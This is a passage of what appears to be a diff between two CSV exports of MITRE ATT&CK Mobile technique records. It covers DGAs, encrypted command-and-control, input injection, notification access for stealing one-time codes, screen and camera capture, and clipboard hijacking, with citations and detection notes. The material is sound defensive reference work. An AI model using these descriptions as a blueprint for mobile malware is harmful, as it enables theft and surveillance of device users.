description='ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', url='https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'), ExternalReference(source_name='Xiao-ZergHelper', description='Claud Xiao. (2016, February 21). Pirated iOS App Store’s Client Successfully Evaded Apple iOS Code Review. Retrieved December 12, 2016.', url='http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/'), ExternalReference(source_name='Cyberscoop Evade Analysis January 2019', description='Jeff Stone. (2019, January 18). Sneaky motion-detection feature found on Android malware. Retrieved October 2, 2019.', url='https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/'), ExternalReference(source_name='Github Anti-emulator', description='Tim Strazzere. (n.d.). Android Anti-Emulator. Retrieved October 2, 2019.', url='https://github.com/strazzere/anti-emulator'), ExternalReference(source_name='Sophos Anti-emulation', description='Chen Yu et al. . (2017, April 13). Android malware anti-emulation techniques. Retrieved October 2, 2019.', url='https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/')]",attack-pattern--786f488c-cb1f-4602-89c5-86d982ee326b,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2019-10-11 14:48:50.525000+00:00,Evade Analysis Environment,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Analysis Environment avoidance capabilities can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-10-01 14:18:47.762000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1521', external_id='T1521')]",attack-pattern--ed2c05a1-4f81-4d97-9e1b-aff01c34ae84,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control')]",2019-10-01 14:18:47.762000+00:00,Standard Cryptographic Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is undetectable to the user.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-09-23 13:11:43.694000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018) +","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1523', 'external_id': 'T1523'}, {'source_name': 'Talos Gustuff Apr 2019', 'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'}, {'source_name': 'ThreatFabric Cerberus', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'}, {'source_name': 'Xiao-ZergHelper', 'description': 'Claud Xiao. (2016, February 21). Pirated iOS App Store’s Client Successfully Evaded Apple iOS Code Review. Retrieved December 12, 2016.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/'}, {'source_name': 'Cyberscoop Evade Analysis January 2019', 'description': 'Jeff Stone. (2019, January 18). Sneaky motion-detection feature found on Android malware. Retrieved October 2, 2019.', 'url': 'https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/'}, {'source_name': 'Github Anti-emulator', 'description': 'Tim Strazzere. (n.d.). Android Anti-Emulator. Retrieved October 2, 2019.', 'url': 'https://github.com/strazzere/anti-emulator'}, {'source_name': 'Sophos Anti-emulation', 'description': 'Chen Yu et al. . (2017, April 13). Android malware anti-emulation techniques. Retrieved October 2, 2019.', 'url': 'https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Analysis Environment avoidance capabilities can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--ed2c05a1-4f81-4d97-9e1b-aff01c34ae84,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-10-01T14:18:47.762Z,2019-10-01T14:18:47.762Z,Standard Cryptographic Protocol,"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1521', 'external_id': 'T1521'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is undetectable to the user.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--60623164-ccd8-4508-a141-b5a34820b3de,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-23T13:11:43.694Z,2019-09-23T14:53:42.654Z,Domain Generation Algorithms,"Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018) -DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1520', external_id='T1520'), ExternalReference(source_name='securelist rotexy 2018', description='T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan – banker and ransomware. Retrieved September 23, 2019.', url='https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/'), ExternalReference(source_name='Data Driven Security DGA', description='Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', url='https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/')]",attack-pattern--60623164-ccd8-4508-a141-b5a34820b3de,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control')]",2019-09-23 14:53:42.654000+00:00,Domain Generation Algorithms,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-09-15 15:26:22.356000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs. +DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1520', 'external_id': 'T1520'}, {'source_name': 'securelist rotexy 2018', 'description': 'T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan – banker and ransomware. Retrieved September 23, 2019.', 'url': 'https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--d1f1337e-aea7-454c-86bd-482a98ffaf62,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-15T15:26:22.356Z,2020-06-24T15:02:13.323Z,Input Injection,"A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs. [Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods: * Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa) * Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019) -* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1516', external_id='T1516'), ExternalReference(source_name='android-trojan-steals-paypal-2fa', description='Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'), ExternalReference(source_name='Talos Gustuff Apr 2019', description='Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', url='https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'), ExternalReference(source_name='bitwarden autofill logins', description='Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019.', url='https://help.bitwarden.com/article/auto-fill-android/')]",attack-pattern--d1f1337e-aea7-454c-86bd-482a98ffaf62,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2020-06-24 15:02:13.323000+00:00,Input Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Lukáš Štefanko, ESET']",,,,,,Users can view applications that have registered accessibility services in the accessibility menu within the device settings.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.1 -2019-09-15 15:26:08.183000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1517', external_id='T1517'), ExternalReference(source_name='ESET 2FA Bypass', description='Lukáš Štefanko. (2019, June 17). Malware sidesteps Google permissions policy with new 2FA bypass technique. Retrieved September 15, 2019.', url='https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/')]",attack-pattern--39dd7871-f59b-495f-a9a5-3cb8cc50c9b2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2020-07-09 14:07:02.217000+00:00,Access Notifications,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Lukáš Štefanko, ESET']",,,,,,The user can inspect (and modify) the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2019-08-09 16:14:58.254000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1512', external_id='T1512'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', external_id='APP-19')]",attack-pattern--d8940e76-f9c1-4912-bea6-e21c251370b6,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2019-09-12 18:33:15.023000+00:00,Capture Camera,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android and iOS, the user can view which applications have permission to use the camera through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-08-08 18:34:14.178000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1513', external_id='T1513'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html', external_id='APP-40'), ExternalReference(source_name='Fortinet screencap July 2019', description='Dario Durando. (2019, July 3). BianLian: A New Wave Emerges. Retrieved September 4, 2019.', url='https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html'), ExternalReference(source_name='Android ScreenCap1 2019', description='Android Developers. (n.d.). Android MediaProjectionManager. Retrieved August 8, 2019.', url='https://developer.android.com/reference/android/media/projection/MediaProjectionManager'), ExternalReference(source_name='Lookout-Monokle', description='Bauer A., Kumar A., Hebeisen C., et al. (2019, July). Monokle: The Mobile Surveillance Tooling of the Special Technology Center. Retrieved September 4, 2019.', url='https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf'), ExternalReference(source_name='Android ScreenCap2 2019', description='Android Developers. (n.d.). Android Debug Bridge (adb). Retrieved August 8, 2019.', url='https://developer.android.com/studio/command-line/adb'), ExternalReference(source_name='Trend Micro ScreenCap July 2015', description='Zhang, V. (2015, July 21). Hacking Team RCSAndroid Spying Tool Listens to Calls; Roots Devices to Get In. Retrieved August 8, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/')]",attack-pattern--73c26732-6422-4081-8b63-6d0ae93d449e,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2020-06-24 15:03:25.857000+00:00,Screen Capture,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,The user can view a list of apps with accessibility service privileges in the device settings.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.1 -2019-08-01 13:44:09.368000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may use non-standard ports to exfiltrate information.,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1509', external_id='T1509')]",attack-pattern--948a447c-d783-4ba0-8516-a64140fcacd5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control')]",2019-09-11 13:27:50.344000+00:00,Uncommonly Used Port,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.",,,,,,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2019-07-26 14:15:31.451000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes) +* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1516', 'external_id': 'T1516'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}, {'source_name': 'Talos Gustuff Apr 2019', 'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'}, {'source_name': 'bitwarden autofill logins', 'description': 'Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019.', 'url': 'https://help.bitwarden.com/article/auto-fill-android/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lukáš Štefanko, ESET']",,,Users can view applications that have registered accessibility services in the accessibility menu within the device settings.,False,,['Android'],1.1,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--39dd7871-f59b-495f-a9a5-3cb8cc50c9b2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-15T15:26:08.183Z,2020-07-09T14:07:02.217Z,Access Notifications,"A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1517', 'external_id': 'T1517'}, {'source_name': 'ESET 2FA Bypass', 'description': 'Lukáš Štefanko. (2019, June 17). Malware sidesteps Google permissions policy with new 2FA bypass technique. Retrieved September 15, 2019.', 'url': 'https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lukáš Štefanko, ESET']",,,The user can inspect (and modify) the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--d8940e76-f9c1-4912-bea6-e21c251370b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-09T16:14:58.254Z,2019-09-12T18:33:15.023Z,Capture Camera,"Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1512', 'external_id': 'T1512'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android and iOS, the user can view which applications have permission to use the camera through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--73c26732-6422-4081-8b63-6d0ae93d449e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-08T18:34:14.178Z,2020-06-24T15:03:25.857Z,Screen Capture,"Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1513', 'external_id': 'T1513'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html', 'external_id': 'APP-40'}, {'source_name': 'Fortinet screencap July 2019', 'description': 'Dario Durando. (2019, July 3). BianLian: A New Wave Emerges. Retrieved September 4, 2019.', 'url': 'https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html'}, {'source_name': 'Android ScreenCap1 2019', 'description': 'Android Developers. (n.d.). Android MediaProjectionManager. Retrieved August 8, 2019.', 'url': 'https://developer.android.com/reference/android/media/projection/MediaProjectionManager'}, {'source_name': 'Lookout-Monokle', 'description': 'Bauer A., Kumar A., Hebeisen C., et al. (2019, July). Monokle: The Mobile Surveillance Tooling of the Special Technology Center. Retrieved September 4, 2019.', 'url': 'https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf'}, {'source_name': 'Android ScreenCap2 2019', 'description': 'Android Developers. (n.d.). Android Debug Bridge (adb). Retrieved August 8, 2019.', 'url': 'https://developer.android.com/studio/command-line/adb'}, {'source_name': 'Trend Micro ScreenCap July 2015', 'description': 'Zhang, V. (2015, July 21). Hacking Team RCSAndroid Spying Tool Listens to Calls; Roots Devices to Get In. Retrieved August 8, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,The user can view a list of apps with accessibility service privileges in the device settings.,False,,['Android'],1.1,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--948a447c-d783-4ba0-8516-a64140fcacd5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-01T13:44:09.368Z,2019-09-11T13:27:50.344Z,Uncommonly Used Port,Adversaries may use non-standard ports to exfiltrate information.,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1509', 'external_id': 'T1509'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--e399430e-30b7-48c5-b70a-f44dc8c175cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-26T14:15:31.451Z,2019-10-28T18:36:26.261Z,Clipboard Modification,"Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes) Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control. -[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1510', external_id='T1510'), ExternalReference(source_name='ESET Clipboard Modification February 2019', description='ESET. (2019, February 11). First clipper malware discovered on Google Play.. Retrieved July 26, 2019.', url='https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/'), ExternalReference(source_name='Welivesecurity Clipboard Modification February 2019', description='Lukáš Štefanko. (2019, February 8). First clipper malware discovered on Google Play. Retrieved July 26, 2019.', url='https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/'), ExternalReference(source_name='Syracuse Clipboard Modification 2014', description='Zhang, X; Du, W. (2014, January). Attacks on Android Clipboard. Retrieved July 26, 2019.', url='http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf'), ExternalReference(source_name='Dr.Webb Clipboard Modification origin2 August 2018', description='Dr.Webb. (2018, August 8). Android.Clipper.2.origin. Retrieved July 26, 2019.', url='https://vms.drweb.com/virus/?i=17517761'), ExternalReference(source_name='Dr.Webb Clipboard Modification origin August 2018', description='Dr.Webb. (2018, August 8). Android.Clipper.1.origin. Retrieved July 26, 2019.', url='https://vms.drweb.com/virus/?i=17517750'), ExternalReference(source_name='Android 10 Privacy Changes', description='Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', url='https://developer.android.com/about/versions/10/privacy/changes#clipboard-data')]",attack-pattern--e399430e-30b7-48c5-b70a-f44dc8c175cb,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2019-10-28 18:36:26.261000+00:00,Clipboard Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Modifying clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2019-07-11 18:09:42.039000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. +[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1510', 'external_id': 'T1510'}, {'source_name': 'ESET Clipboard Modification February 2019', 'description': 'ESET. (2019, February 11). First clipper malware discovered on Google Play.. Retrieved July 26, 2019.', 'url': 'https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/'}, {'source_name': 'Welivesecurity Clipboard Modification February 2019', 'description': 'Lukáš Štefanko. (2019, February 8). First clipper malware discovered on Google Play. Retrieved July 26, 2019.', 'url': 'https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/'}, {'source_name': 'Syracuse Clipboard Modification 2014', 'description': 'Zhang, X; Du, W. (2014, January). Attacks on Android Clipboard. Retrieved July 26, 2019.', 'url': 'http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf'}, {'source_name': 'Dr.Webb Clipboard Modification origin2 August 2018', 'description': 'Dr.Webb. (2018, August 8). Android.Clipper.2.origin. Retrieved July 26, 2019.', 'url': 'https://vms.drweb.com/virus/?i=17517761'}, {'source_name': 'Dr.Webb Clipboard Modification origin 